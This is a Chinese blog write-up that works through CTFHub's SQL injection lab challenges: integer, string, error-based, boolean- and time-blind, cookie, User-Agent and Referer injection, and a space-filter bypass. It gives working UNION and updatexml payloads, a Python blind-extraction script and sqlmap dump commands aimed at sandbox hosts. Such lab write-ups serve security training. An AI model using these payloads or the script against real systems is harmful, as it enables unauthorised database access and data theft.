CTFHub技能树 Web-SQL注入 详解
整数型注入我们输入 1不断尝试发现闭合方式就是 1 ,整数型存在两列order by 2存在两个注入点/?id=-1 union select 8,9爆库,当前数据库为sqli/?id=-1 union select 8,database()爆出所有表名,这里我们需要吧sqli转换为16进制/?id=-1 union select 8,group_concat(table_name) from i
目录
整数型注入
我们输入 1
不断尝试发现闭合方式就是 1 ,整数型
存在两列
order by 2
存在两个注入点
/?id=-1 union select 8,9
爆库,当前数据库为sqli
/?id=-1 union select 8,database()
爆出所有表名,这里我们需要吧sqli转换为16进制
/?id=-1 union select 8,group_concat(table_name) from infromation_schema.tables where table_schema=0x73716c69
爆字段,我们需要把表明转换为16进制
/?id=-1 union select 8,group_concat(column_name) from information_schema.columns where table_name=0x666c6167
查询flag字段的值
/?id=-1 union select 8,flag from sqli.flag
字符型注入
闭合方式 1'
/?id=1' --+
其余步骤与第一关一致
两列
/?id=1' order by 1,2 --+
通过占位符查看回显
/?id=-1' union select 1,2 --+
当前数据库
/?id=-1' union select 1,database() --+
爆表
/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69 --+
爆字段
/?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167--+
爆字段值
/?id=-1' union select 1,flag from sqli.flag --+
成功获得flag
报错注入
闭合方式 id=1,回显查询正确
输入 1' 提示报错,可以采用报错注入
我们使用 updatexml
得到库名
/?id=1 and updatexml(1,concat(0x5e,database()),1)
得到表名
/?id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)
得到字段
/?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)
得到字段的值flag,但是我们发现这里的flag少了一部分
/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)
我们使用mid 就可以得到flag后面的一部分,只有一个 }
ctfhub{3ca6d5c39c29f29c2da55c49} 这样的话我们呢就得到了 全部的flag
/?id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)
布尔盲注
确认闭合方式 id=1
当数据库查询结果为空或者查询语句报错,回显error,所以我们通过if(expr1,expr2,expr3)来判断
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
那么就可以在expr1处插入判断语句,expr2处放上正确语法的sql语句,expr3处放上错误语法的sql语句,这样的话就可以判断我们的 exper1处的判断语句是否正确
payload
/?id=if(substr(database(),1,1)="s",1,(select table_name from information_schema.tables))
第一个字母为s 时 回显success
第一个字母为a 时 回显error
这样的话就可以判断出 库名第一个字母为 s
这样判断的太慢了,我们使用python脚本(下面附上了脚本源码),或者使用sqlmap
脚本源码:
import requests
urlOPEN = 'http://challenge-5aaeb58d25ce5ac1.sandbox.ctfhub.com:10800' #换成自己环境的url
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'/?id=if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
print(name)
break
print('database_name:',name)
def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'/?id=if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)
def column_name():
list = []
for k in range(0,3): #判断表里最多有4个字段
name=''
for j in range(1,9): #判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url=urlOPEN+'/?id=if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)
def get_data():
name=''
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):
url=urlOPEN+'/?id=if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)
if __name__ == '__main__':
database_name()
table_name()
column_name()
get_data()
时间盲注
sleep(n) 语句:使数据库在暂停n秒之后再将搜索结果输出;
if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
第一位为s时,程序睡眠五秒
/?id=id((substr(database(),1,1)='s',sleep(5),1)
这里我们使用sqlmap sqlmap官网下载地址https://sqlmap.org/https://sqlmap.org/
参数:
--batch 永远不要要求用户输入,使用默认行为
--technique=TECH SQL注入技术选择 (默认 "BEUSTQ")
枚举:
T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
-a, --all 检索全部
-b, --banner 检索 banner
--current-user 检索当前用户
--current-db 检索当前数据库
--passwords 列出用户密码的hash值
--tables 列出表
--columns 列出字段
--schema 列出DBMS schema
--dump Dump DBMS数据库表的条目
--dump-all Dump 所有DBMS数据库表的条目
-D DB 指定数据库
-T TBL 指定表
-C COL 指定字段
更多使用教程请跳转到sqlmap注入使用教程这篇文章
查库
python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T --dbs
结果 得到了 库名
查表
python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli --tables
得到了表名
查字段
python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag --columns
查值
python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag -C flag --dump
MySQL结构
这一关与之前一样,只不过换了表名和字段名
我们直接拿sqlmap跑完。
手动注入的话,先确认这一关的闭合方式,其他的与前几关一致。
Cookie注入
手动注入
抓包修改Cookie
闭合方式
两个注入点
爆出库名
爆出表名 hdyzeywahl
字段名 tdkjfhcahm
爆出字段值,找到了flag
UA注入
闭合方式
两个注入点
表名 ttxhhjucas
字段dnodrocxrd
字段值 falg
我们这里直接拿sqlmap跑一下试试
加上 --leve 3 的时候sqlmap会对数据包进行User-Agent检测
这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。
查表,查字段,查字段值的过程 参考 时间盲注
我们使用sqlmap也是成功跑出来了,但是跑了好长时间~
Refer注入
添加(修改)Referer字段
Referer:-1 union select 1,database()
表名 jjavepgkre
字段 fceyldfxjl
字段值 找到flag
我们再拿sqlmap跑一下
查表,查字段,查字段值的过程 参考 时间盲注
成功!
过滤空格
过滤了空格,我们使用/**/代替空格
/?id=1/**/and/**/1=1
查表名 epsaspfvxc
/?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=0x73716c69
字段 lfdfoijbvi
http://challenge-21f3cf4cedcf5cd0.sandbox.ctfhub.com:10800/?id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x65707361737066767863
字段值
成功找到flag
/?id=-1/**/union/**/select/**/1,lfdfoijbvi/**/from/**/sqli.epsaspfvxc
sql注入 完结!!!
剩余技能上线后会持续更新。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)